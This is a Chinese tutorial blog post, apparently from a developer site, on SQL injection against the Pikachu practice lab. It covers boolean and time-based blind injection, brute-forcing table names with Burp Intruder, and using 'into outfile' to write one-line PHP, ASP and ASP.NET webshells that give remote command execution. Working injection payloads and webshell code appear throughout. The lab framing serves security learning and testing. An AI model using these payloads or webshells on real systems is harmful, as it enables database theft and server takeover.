sql-Inject漏洞(盲注)/os远程控制/表(列)名的暴力破解

Sql-Inject漏洞-盲注

什么是盲注以及常见的盲注类型:
在有些情况下,后台使用了错误的消息屏蔽方法(比如@)屏蔽了报错
此时便无法在根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注”。根据表现形式不同,盲注又分为based boolean和based time两种类型
一、基于(boolean)真假的盲注主要表现症状:
0.没有报错信息
1.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或1)
2.在正确的输入下,输入and1=1/and1=2发现可以判断
在pikachu实验环境进行基于真假的盲注的演示:
首先通过在数据库中的操作理解逻辑。
在这里插入图片描述
可知通过ascill码转换比较大小的方式可以渐渐得出正确的结果。截取数据库中的一个字符转换成ascill码去进行比较操作。根据返回值提供的真假信息,可以逐步得出数据库中的信息。不过这种盲注的方式较为麻烦,需要大量的操作。可以通过工具进行自动化的测试。
database的字符长度可以以相同的逻辑通过length函数进行长度判断。
在这里插入图片描述
通过不断地比较根据返回值得真假一步步确定最后的长度。
明白了逻辑就可以前往pikachu的环境进行实际的演示操作。
首先构造payload:kobe’ and ascii(substr(database(),1,1))>113#
payload的逻辑为:如果返回了kobe的信息则后面语句的结果为真,如果没有返回kobe的信息则说明后面语句的结果为假。在实际操作环境时往往需要实验多次才能得出最后的结果。在pikachu实验环境进行演示时>113和>112的结果返回都为假而=112则为真,这就表明第一个字符的吗码值等于112翻译过来就是p,这样就得到了第一个字符p。经过多次操作就可以得到最终的结果。虽然较为麻烦,但是是实际有效的注入方法。
在这里插入图片描述
在实际操作中可以根据逻辑改变payload进行对于数据库表名等信息的获取。
二、基于(time)时间的盲注主要表现症状:
如果说基于boolea的盲注在页面上还可以看到0or1的回显的话,那么基于time的盲注完全就啥都看不到了!但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确定注入!
常用的payload:xxx’ and sleep(5)#查看kobe和kobe’ and sleep(5)#的区别,从而判断这里存在based time的sql注入漏洞。
pikachu实际操作演示:在mysql中有sleep函数可以起到暂停的作用等到一段时间后再去执行。可以通过查看后台反馈的时间来判断sleep函数有没有被拼接进去。这里通过打开浏览器的控制台打开网络查看后台反馈的具体时间。
通过常用的payload:kobe’ and sleep(5)#
在这里插入图片描述
查看请求时间线,可见后台经过了六秒才将结果反馈到前端,这就意味着sleep函数被执行了,则可判断相应点存在sql注入漏洞且是基于时间的盲注。
在设计payload时大体思路与前面相同,只是在基于真假时,是根据返回结果的正确与否来最终获取信息,基于时间的盲注则是通过查看反馈时间的长短基于时间的延迟,来最终获取信息。
payload:kobe’ and if((substr(database(),1,1))=‘p’,sleep(5),null)# 通过if函数进行多次猜测。
在这里插入图片描述
在这里插入图片描述
在pikachu实际环境中进行测试,只有正确的结果会使返回时间延迟。这就可以通过多次猜测判断来获取信息。
根据实际案例,可以对payload进行更改,从而达到自己的目的。

Sql-Inject漏洞手动测试-os远程控制

一句话木马/如何通过into outfile写入恶意代码并控制OS。
一、一句话木马
一句话木马是一种短小而精悍的木马客户端(利用各种语言执行命令的函数构造一个简单的木马程序,可以将函数写到文件中,通过对文件访问,执行函数,传入设定的操作),隐蔽性好,且功能强大。
PHP: <?php @eval($_POST['chopper']);?>
ASP: <%eval request(“chopper”)%>
ASP. NET: <%@Page Language=’‘Jscript"%><%eval (Request.Item[“chopper”],’‘unsafe’’);%>
二、如何写入一句话木马
通过sql注入漏洞结合into outfile来实现对文件的写入。
select 1,2 into outfile “/var/www/html/1.txt”
into outfile 将select的结果写入到指定目录1.text中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件中,然后访问获取
用into out写入的前提条件:
1.需要知道远程目录
2.需要远程目录有写入权限
3.需要数据库开启了secure_file_priv
在MySQL中可以通过show global variables like ‘%secure%’;来查看secure_file_priv是否开启,一般默认为关闭。
在win10系统中需要找到my.ini文件,在[mysqld]内加入secure_file_priv = 此时再查看则为开启状态:
在这里插入图片描述
在这里插入图片描述
在保证了前提后,就可以在实际情况中进行演示:
首先是构造payload:kobe’ union select ‘’<?php @eval( $_GET['test'])?>’’,2 into outfile ‘’/var/www/html/1.php’’#
将一句话木马写到select的字段中去。into outfile就可以将结果写入到后面的文件当中去了。
同样用kobe’ union select ‘’<?php system( $_GET['cmd'])?>’’,2 into outfile ‘’/var/www/html/2.php’’#传进去的命令都会被作为system执行的命令去执行。

sql-inject漏洞之表(列)名的暴力破解

为了应对权限被屏蔽或不是mysql的数据库的情况,可以采用暴力破解的方法。
在pikachu实际环境进行演示
在字符型注入的页面 编辑payload:kobe‘ and exists(select * from aa)#
将前面的字符串进行查询,同时将and作为逻辑运算符运算后面对应的内容是否存在。aa(表名)是一个字典。从字典里提取数据以此作查询。如果表不存在则反馈假,如果存在则反馈真。
输入payload后显示数据包不存在,使用burpsuite proxy将数据包抓下来发送至intruder
将aa进行add。在options flag添加doesn’t exist 用字典进行暴力破解的测试 。用这样的方式就可以得到数据库的表名列名等信息。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑黑黑白白白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值